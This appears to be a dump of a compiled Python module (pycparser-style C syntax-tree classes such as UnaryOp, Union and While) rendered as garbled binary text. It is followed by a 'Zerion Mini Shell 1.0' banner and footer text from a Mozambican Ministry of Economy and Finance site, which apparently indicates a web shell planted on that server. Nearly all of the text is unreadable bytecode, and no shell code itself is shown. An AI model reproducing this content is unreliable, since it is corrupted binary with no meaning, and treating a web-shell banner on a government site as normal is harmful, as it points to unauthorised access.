rc�n�g}|j�|jd|jf�t|�Sr�r�rns  rr1zTypename.childrenr�rc#�BK�|j�|j��yy�wrBr�r0s rrqzTypename.__iter__r�r�)r-r�r�rBrsrrrr�r��s��J�I�����Jrr�c�(�eZdZdZdd�Zd�Zd�ZdZy)�UnaryOp)r|r�rriNc�.�||_||_||_yrB)r|r�r)r)r|r�rs    rrkzUnaryOp.__init__s�������	���
rc�n�g}|j�|jd|jf�t|�Sr�r�rns  rr1zUnaryOp.childrenr�rc#�BK�|j�|j��yy�wrBr�r0s rrqzUnaryOp.__iter__ r�r�r�rBrsrrrr�r�s��6�I��
���Jrr�c�(�eZdZdZdd�Zd�Zd�ZdZy)�Unionr�Nc�.�||_||_||_yrBr�r�s    rrkzUnion.__init__*r�rc��g}t|jxsg�D]\}}|jd|�d�|f��t|�Sr�r�r�s    rr1zUnion.children/r�rc#�@K�|jxsgEd{���y7��wrBr�r0s rrqzUnion.__iter__5r�r�rrBrsrrrr�r�'r�rr�c�(�eZdZdZdd�Zd�Zd�ZdZy)�Whiler�Nc�.�||_||_||_yrBr�r�s    rrkzWhile.__init__>r�rc��g}|j�|jd|jf�|j�|jd|jf�t|�Sr�r�rns  rr1zWhile.childrenCr�rc#�vK�|j�|j��|j�|j��yy�wrBr�r0s rrqzWhile.__iter__Kr�rrrrBrsrrrr�r�;r�rr�c�(�eZdZdZdd�Zd�Zd�ZdZy)�Pragma)�stringrriNc� �||_||_yrB)r�r)r)r�rs   rrkzPragma.__init__Wr�rc��g}t|�SrBr�rns  rr1zPragma.children[r�rc#�K�y�wrBrr0s rrqzPragma.__iter___r�r�)r�rBrsrrrr�r�Ts��2�I�����Jrr�);rR�typingrrrrrrWrerur{r�r�r�r�r�r�r�r�r�r�r�r�r�rrrrrrr)r/r5r;r@rHrMrSr]rbrhryr~r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�rrr�<module>r�s���*�$�$��j�j�Z7�7�t �� �4�t��2���4�d��(�t��4
�D�
� �4��0�4��2�t��&�d��2�t��,
�t�
� 3�4�3�l�t��&�d��&�d��2
�D�
� 
�T�
� �4��*���*�T��&�t��&�d��& �$� �F�t��2�t��2�d��:���2�t��0�4��$���$�T��$���<�t��&�D��*�t��0���&�d��*�T��(�4��2�T��(���4�T��2���<�t��6�d��6�t��6�d��*�D��(�D��2�T�r

Zerion Mini Shell 1.0
GEPRES Tracking

República de Moçambique

Ministério da Economia e Finanças